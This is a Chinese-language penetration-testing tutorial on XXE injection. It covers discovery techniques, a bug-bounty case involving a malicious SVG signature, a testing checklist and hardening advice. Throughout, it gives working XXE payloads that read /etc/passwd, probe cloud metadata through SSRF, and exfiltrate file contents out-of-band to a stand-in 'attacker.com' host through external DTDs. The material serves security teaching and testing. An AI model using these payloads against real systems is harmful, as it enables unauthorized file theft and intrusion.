前言

XXE(XML External Entity Injection,XML外部实体注入)漏洞,是Web安全领域中一个经典且高危的漏洞类型。它利用XML解析器在处理用户可控的XML输入时,默认加载外部实体的特性,从而实现任意文件读取、内网探测、远程代码执行等攻击。
本文将结合理论与实战,从漏洞原理、挖掘技巧、利用手法、高级攻击面、SRC实战案例及修复方案等多个维度,为你系统化地剖析XXE漏洞。
第一部分:核心原理与攻击分类
1.1 漏洞本质
XXE漏洞的本质是:应用程序在解析用户可控的XML输入时,未禁用外部实体的加载,导致攻击者可以引用外部恶意内容。
外部实体(External Entity)是XML规范中的一种功能,允许通过SYSTEM或PUBLIC关键字引入外部资源(如本地文件、远程URL)。当解析器未做限制时,攻击者便可利用这一机制,将敏感数据引入解析流程。

1.2 四种攻击类型
根据攻击过程中数据的传递和回显方式,XXE可分为四大类:
|-------------------|---------------------------|----------------|
| 类型 | 攻击特征 | 典型利用场景 |
| 带内数据XXE | 攻击结果直接在响应包中返回 | 文件读取、SSRF探测 |
| 基于错误XXE | 通过触发XML解析错误,在报错信息中泄露数据 | 配置错误、调试信息暴露的环境 |
| 带外数据XXE (OOB) | 通过DNS/HTTP请求将数据外带到攻击者服务器 | 严格过滤、无直接回显的场景 |
| Blind XXE | 无任何直接或间接回显,需通过日志、时间差等方式盲测 | 日志文件注入、纯外带利用 |
第二部分:漏洞挖掘------思路与技巧
2.1 黑盒测试:如何发现XXE
1. 识别XML输入点
- Content-Type检查 :请求头为
application/xml、text/xml、application/soap+xml等。 - 数据格式特征 :请求体以
<?xml开头,或包含<xml>标签。 - 功能点联想:
-
- SOAP API、RESTful XML服务
- RSS/Atom订阅
- 文档导入/导出(如Word、Excel)
- SVG图像上传
- 配置文件上传(.plist, .rss, .xsd, .wsdl)
2. 格式切换测试
即使原始请求是JSON或表单,也可将 Content-Type 改为 application/xml,并将数据替换为XML Payload,测试服务器是否接受并解析。
3. 文件上传中的XXE
如后文案例所示,上传SVG图片、DOCX文档(本质是ZIP压缩的XML文件)时,很可能触发XXE。
2.2 白盒审计:关键函数定位
|-------------|---------------------------------------------------------|------------------------------------------------|
| 语言 | 危险函数/类 | 安全检查点 |
| PHP | simplexml_load_string()、DOMDocument::load() | libxml_disable_entity_loader() 是否设置为 false |
| Java | DocumentBuilderFactory、SAXParserFactory、XMLReader | 是否禁用了外部实体(setExpandEntityReferences(false)) |
| Python | xml.etree.ElementTree、lxml | 解析器是否设置 resolve_entities=False |
| C#/.NET | XmlDocument、XPathDocument | XmlResolver 是否为空 |
第三部分:核心利用手法
3.1 基础利用:文件读取与SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><data>&xxe;</data></root>
- 文件读取 :
file:///etc/passwd、file:///C:/windows/win.ini - SSRF探测 :
http://169.254.169.254/latest/meta-data/(云元数据)、http://内网IP:端口
3.2 进阶利用:外部DTD引用
当直接使用 SYSTEM 被禁用时,可从远程服务器引用恶意DTD:
本地Payload:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://attacker.com/file.dtd">
%file;
]>
<root><data>&send;</data></root>
远程 file.dtd内容:
<!ENTITY send SYSTEM "file:///etc/passwd">
3.3 无回显利用:带外数据(OOB)
当响应中看不到任何数据时,利用带外通道将数据外传。
1. 测试连通性:
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://你的dnslog.cn"> %xxe; ]>
2. 组合利用(数据外传):
本地Payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://attacker.com/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
远程 test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/get.php?file=%file;'>">
攻击者服务器上 get.php 接收并保存 file 参数,即可获取数据。
3.4 无回显利用:基于错误
通过构造一个不存在的文件路径,将目标文件内容拼接到路径中,触发报错泄露。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
第四部分:高级拓展------XInclude与文件上传解析
4.1 XInclude利用
当无法控制完整的XML文档,只能在某个元素内部插入内容时,可使用XInclude动态引入外部文件。
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
注意 :XInclude生效需要服务器开启相应支持(如PHP中需设置 LIBXML_XINCLUDE 选项),属于进阶利用技巧。
4.2 SVG图像上传中的XXE
SVG本质是XML,上传恶意SVG图片可能触发XXE。
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
利用要点:
- 在原有SVG结构上追加
<!DOCTYPE>实体定义。 - 在
<text>标签中引用实体,并设置x和y坐标,确保文本能显示在图片上。 - 不能破坏原有SVG结构,否则无法解析。
4.3 其他文档格式中的XXE
- DOCX/XLSX/PPTX :这些是ZIP压缩包,内含多个XML文件。可通过工具(如
docem)自动向文档内所有XML文件注入Payload,再重新打包上传。 - 关键注入点:
-
word/document.xml(传统内容区域)docProps/app.xml(如页码<Pages>标签,常用于在线预览回显)xl/workbook.xml(Excel)
- RSS/ATOM:订阅源也是XML格式。
第五部分:SRC实战案例复盘
案例:电子签名功能中的XXE(奖金2500元)
漏洞挖掘过程:
- 发现入口:在APP/小程序的电子签名功能处,抓包发现上传的签名数据是Base64编码的字符串。
- 解码分析 :将数据包中的
params值Base64解码,发现内容为 SVG格式 的矢量图数据。 - 构造Payload:
-
- 在原始SVG结构上添加
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> - 在
<text>标签中引用&xxe;,设置坐标确保渲染可见
- 在原始SVG结构上添加
- 利用成功:重新Base64编码后提交,服务器解析了实体,将文件内容渲染到签名图片中返回。
- 扩大战果:发现该漏洞通用于该厂商的多个APP、小程序、Web主站和子系统(虽接口不同,但底层解析逻辑相同)。
案例关键洞察:
- 文件上传与XXE结合:不要只盯着API请求,上传的图片(SVG)、文档(DOCX)也可能是攻击面。
- 格式完整性:注入Payload时,必须保持原始XML结构的完整性。
- 回显条件:在SVG这类可渲染的格式中,要确保实体引用的内容能在输出介质上可见。
第六部分:渗透测试检查清单(XXE专项)
- 寻找所有XML输入点(API请求头、上传文件、订阅源)
- 尝试修改
Content-Type为application/xml,并将数据改为XML格式 - 测试基础外部实体:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>,观察响应 - 测试SSRF:
<!ENTITY xxe SYSTEM "http://你的dnslog.cn">,查看是否收到请求 - 若直接引用被禁,尝试引用外部DTD
- 若无回显,测试带外(OOB)通道
- 测试XInclude
- 测试文件上传:上传SVG图片、DOCX文档,内部包含XXE payload
- 注意编码:如Base64编码的SVG,需解码修改后再编码提交
- 利用读到的文件进一步审计(配置文件、源码、历史命令)
第七部分:安全加固建议(用于报告)
- 完全禁用外部实体:
-
- PHP:
libxml_disable_entity_loader(true); - Java:
dbf.setExpandEntityReferences(false);并设置setFeature禁用外部DTD - Python(lxml):
etree.XMLParser(resolve_entities=False)
- PHP:
- 输入过滤 :过滤
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等关键词 - 使用安全的解析库 :如
defusedxml(Python) - 最小化权限:运行应用的账户不应对敏感文件有读取权限
- 网络隔离:限制应用服务器对外部网络的访问,防止SSRF和带外数据泄露
结语
XXE漏洞的精髓在于利用XML解析器的功能特性实现攻击。在渗透测试中,要灵活运用带内、带外、错误、Blind四种利用方式,并结合文件上传、文档解析、SVG图像等场景,将简单的文件读取逐步演变为内网渗透的跳板。
核心建议:
- 只要看到数据被封装在
<xxx>标签中,或响应头有Content-Type: application/xml,就应联想到XXE测试。 - OOB(带外数据外传)是关键技能,大多数真实场景下XXE是盲的,必须掌握搭建带外信道传输数据的方法。
- 关注组件漏洞,中间件和第三方组件的XXE漏洞也是高危突破口。